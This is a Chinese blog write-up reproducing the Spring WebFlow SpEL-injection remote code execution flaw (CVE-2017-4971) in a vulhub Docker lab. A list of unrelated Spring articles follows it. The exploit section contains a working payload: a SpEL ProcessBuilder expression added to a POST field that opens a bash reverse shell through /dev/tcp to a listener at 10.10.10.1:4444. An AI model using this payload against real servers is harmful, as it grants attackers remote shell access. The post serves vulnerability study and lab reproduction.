首页 > 其他分享 >Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

时间:2024-04-30 09:33:39浏览次数:25  
标签:漏洞 Spring WebFlow 代码执行 2017 CVE 4971

Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

测试环境

cd spring/CVE-2017-4971
docker-compose up -d

漏洞复现

首先访问http://10.10.10.8:8080/login,用页面左侧个出的任意一个账号/密码登录系统:
img
然后访问id为1的酒店http://your-ip:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):
img
再点击确认“Confirm”:
img
此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC),将shell进行url编码:

_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.10.10.1/4444+0>%261")).start()=vulhub

bash+-i+>%26+/dev/tcp/10.10.10.1/4444+0>%261

img
成功执行,获取shell

标签:漏洞,Spring,WebFlow,代码执行,2017,CVE,4971
From: https://www.cnblogs.com/kalixcn/p/18167128

相关文章

  • 使用springboot+thymeleaf 在html中获取session
    Controllerimportorg.springframework.stereotype.Controller;importorg.springframework.ui.Model;importorg.springframework.web.bind.annotation.GetMapping;importjavax.servlet.http.HttpSession;@ControllerpublicclassUserController{@GetMappin......
  • springboot连接sqlserver2008r2 驱动版本问题。
    <dependency><groupId>com.microsoft.sqlserver</groupId><artifactId>mssql-jdbc</artifactId><version>8.2.2.jre8</version></dependency>版本比较常见的:8.4.1.jre8最新的提示:9......
  • SpringBoot配置HTTPS及开发调试
    前言在实际开发过程中,如果后端需要启用https访问,通常项目启动后配置nginx代理再配置https,前端调用时高版本的chrome还会因为证书未信任导致调用失败,通过摸索整理一套开发调试下的https方案,特此分享后端配置生成HTTPS密钥keytool-genkeypair-aliastomcat-keyalgRSA-keysi......
  • IDEA导入springboot项目无法识别resources下的application.yml配置文件
    遇到的问题:IDEA springboot不能读取resources下的yml配置文件如下图,application.yml文件前面的图标并不是springboot配置文件的图标,这就是IDEA没有识别到yml文件 正确的配置文件图标因该是下面这样的可能原因及解决方法: 文件名问题:确保YML文件的名称是正确......
  • 使用idea 在线创建springboot 项目-需联网
    1.打开idea,点击File,New,Project...2.配置项目名称和地址,配置jdk版本.配置完成点击Next等待导入依赖没有jdk17就下载一下想要在resources目录创建.yml结尾文件,按步骤操作选择Editor->FileandCodeTemplates选择files点击+号,输入名称,和文件类型.......
  • 面试类 - Spring基础(二)
    AOP19.说说什么是AOP?AOP,也就是Aspect-orientedProgramming,译为面向切面编程。简单点说,就是把一些业务逻辑中的相同代码抽取到一个独立的模块中,让业务逻辑更加清爽。                                 ......
  • SpringBoot自动装配原理
     个人理解,SpringBoot就是由Spring和SpringMVC整合而来。开箱即用、简化监控、简化配置、简化部署;约定大于配置;boot脱离了传统Spring手动配置大量的bean,而SpringBoot自动装配改变了繁琐的局面。 SpringBoot的自动配置基于条件注解和自动配置类,它能够根据应用程序的......
  • Spring中控制反转究竟反转的什么
    你好,这里是codetrend专栏“Spring6全攻略”。控制反转(InversionofControl,IoC)是一种软件设计原则,它将传统的程序设计中的控制权从应用程序代码转移到框架或容器,从而实现了松耦合和更好的可维护性。在控制反转的概念中,应用程序的组件不再负责自己的创建和管理,而是交给外部容器......
  • springboot~redis的hash结构为key设置过期策略
    redis配置文件开启键过期#The"notify-keyspace-events"takesasargumentastringthatiscomposed#ofzeroormultiplecharacters.Theemptystringmeansthatnotifications#aredisabled.##Example:toenablelistandgenericevents,fromthepo......
  • Java面试题:你知道Spring的IOC吗?那么,它为什么这么重要呢?
    Spring的IOC(控制反转)是一种设计模式,它允许开发者将对象的创建和管理交给Spring框架来完成。在Spring中,IOC允许开发者将对象依赖关系从代码中分离出来,从而使代码更加灵活、可重用和易于管理。IoC全称InverseofControl(反向控制或控制反转)。在类和类之间存在控制权,控制权指的是......